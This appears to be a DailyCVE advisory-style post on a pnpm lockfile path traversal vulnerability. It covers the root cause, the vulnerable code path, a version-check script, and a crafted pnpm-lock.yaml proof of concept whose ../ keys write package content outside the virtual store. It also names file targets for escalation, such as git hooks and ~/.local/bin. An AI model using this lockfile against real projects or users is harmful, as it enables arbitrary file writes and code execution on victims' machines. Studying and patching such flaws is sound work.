pnpm, Path Traversal, CVE-2026-82392 (High) -DC-Sep2026-2089

Listen to this Post

The virtual store linker constructs package installation directories using path.join(modules, pkgName), where `pkgName` is extracted from lockfile `packages` keys via `dp.parse(depPath).name` without validation. A crafted `pnpm-lock.yaml` with traversal sequences in `depPath` keys (e.g., ../../../tmp/[email protected]) causes package content to be written to arbitrary filesystem paths during pnpm install. This is an incomplete fix of GHSA-fr4h-3cph-29xv — the `safeJoinModulesDir` containment helper was applied to the hoisted linker and `symlinkDependency` but NOT to the virtual store linker’s lockfileToDepGraph.ts:233.
Root Cause: `dp.parse()` at `pnpm11/deps/path/src/index.ts:135` extracts the package name via a raw substring operation with zero validation that `name` is a valid npm package name. A `depPath` of `../../../tmp/[email protected]` yields name = '../../../tmp/pwned'.

Vulnerable Code Path:

– `pnpm-lock.yaml` → `lockfile.packages[‘../../../../../../../tmp/[email protected]’]` (attacker-controlled lockfile key)
– `nameVerFromPkgSnapshot(depPath, pkgSnapshot)` at `lockfile/utils/src/nameVerFromPkgSnapshot.ts:16` → calls `dp.parse(depPath)` → returns `{ name: ‘../../../../../../../tmp/pwned’ }`
– `lockfileToDepGraph.ts:232` → `modules = path.join(dirInVirtualStore, ‘node_modules’)`
– `lockfileToDepGraph.ts:233` → `dir = path.join(modules, pkgName)` → resolves to `/tmp/pwned` (ESCAPES virtual store)
– `storeController.importPackage(depNode.dir, …)` → writes package content to the traversed path

Why Existing Defenses Don’t Catch It:

– `depPathToFilename()` — replaces `/` with `+` for the `dirInVirtualStore` path, but `pkgName` comes SEPARATELY from `dp.parse()` and is NOT passed through this function
– `verifyLockfileResolutions()` — validates dependency map keys (aliases) via isValidDependencyAlias(), but never validates the `depPath` keys themselves
– Lockfile parser — `yaml.load(lockfileRawContent)` with no schema validation on `packages` keys
– `importPackage()` — accepts `targetDir` and passes it directly to `cafsStore.importPackage(targetDir, …)` with zero containment check
– Integrity verification — requires a real fetchable package but does not validate the destination path
Escalation to RCE (non-default config): When `dangerouslyAllowAllBuilds: true` is configured (or the traversal package name is in the explicit `allowBuilds` list), the same traversed path is used in the rebuild phase at after-install/src/index.ts:402,470. The attacker’s `postinstall` script then executes with the victim’s shell access. Under default config, `allowBuild` returns false for unknown packages, limiting impact to arbitrary file write.
Also Affected (PnP linker): When `nodeLinker: pnp` is configured, `lockfileToPackageRegistry()` at `lockfile/to-pnp/src/index.ts:105-110` uses the same unvalidated `dp.parse().name` in `packageLocation` construction, allowing the `.pnp.cjs` resolver map to point outside the virtual store.

DailyCVE Form:

Platform: pnpm
Version: <10.34.5, 11.0.0-11.10.x
Vulnerability: Path Traversal
Severity: High (CVSS 7.1)
date: 2026-08-31

Prediction: 2026-09-14

What Undercode Say:

Analytics:

Check pnpm version
pnpm --version
Check if vulnerable
if [[ $(pnpm --version) =~ ^10.[0-9]+.[0-9]+$ ]] && [[ $(pnpm --version) < "10.34.5" ]]; then
echo "VULNERABLE: pnpm < 10.34.5"
elif [[ $(pnpm --version) =~ ^11.[0-9]+.[0-9]+$ ]] && [[ $(pnpm --version) < "11.11.0" ]]; then
echo "VULNERABLE: pnpm 11.0.0-11.10.x"
else
echo "SAFE: pnpm $(pnpm --version)"
fi

Exploit: (Educational Purposes!)

Craft a malicious `pnpm-lock.yaml`:

lockfileVersion: '9.0'
packages:
../../../../../../../tmp/[email protected]:
resolution: {integrity: sha512-<real-package-integrity>}
engines: {node: '>=14'}
snapshots:
../../../../../../../tmp/[email protected]: {}
importers:
.:
dependencies:
legitimate-name:
specifier: ^1.0.0
version: ../../../../../../../tmp/[email protected]

Run:

pnpm install
Package content is written to /tmp/pwned/ instead of the virtual store

Protection:

  • Upgrade to pnpm 10.34.5 or 11.11.0 or later
  • Do not run `pnpm install` on untrusted lockfiles
  • Avoid enabling `dangerouslyAllowAllBuilds: true`
    – Use `–ignore-scripts` flag when installing from untrusted sources

Impact:

  • Arbitrary file writes on the machine of any user who runs `pnpm install`
    – Targets include: `.git/hooks/pre-commit` (code execution on next git operation), `~/.local/bin/` (binary hijacking), and project source files (supply chain injection)
  • Remote Code Execution (RCE) when `dangerouslyAllowAllBuilds: true` or matching `allowBuilds` entry permits lifecycle scripts

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top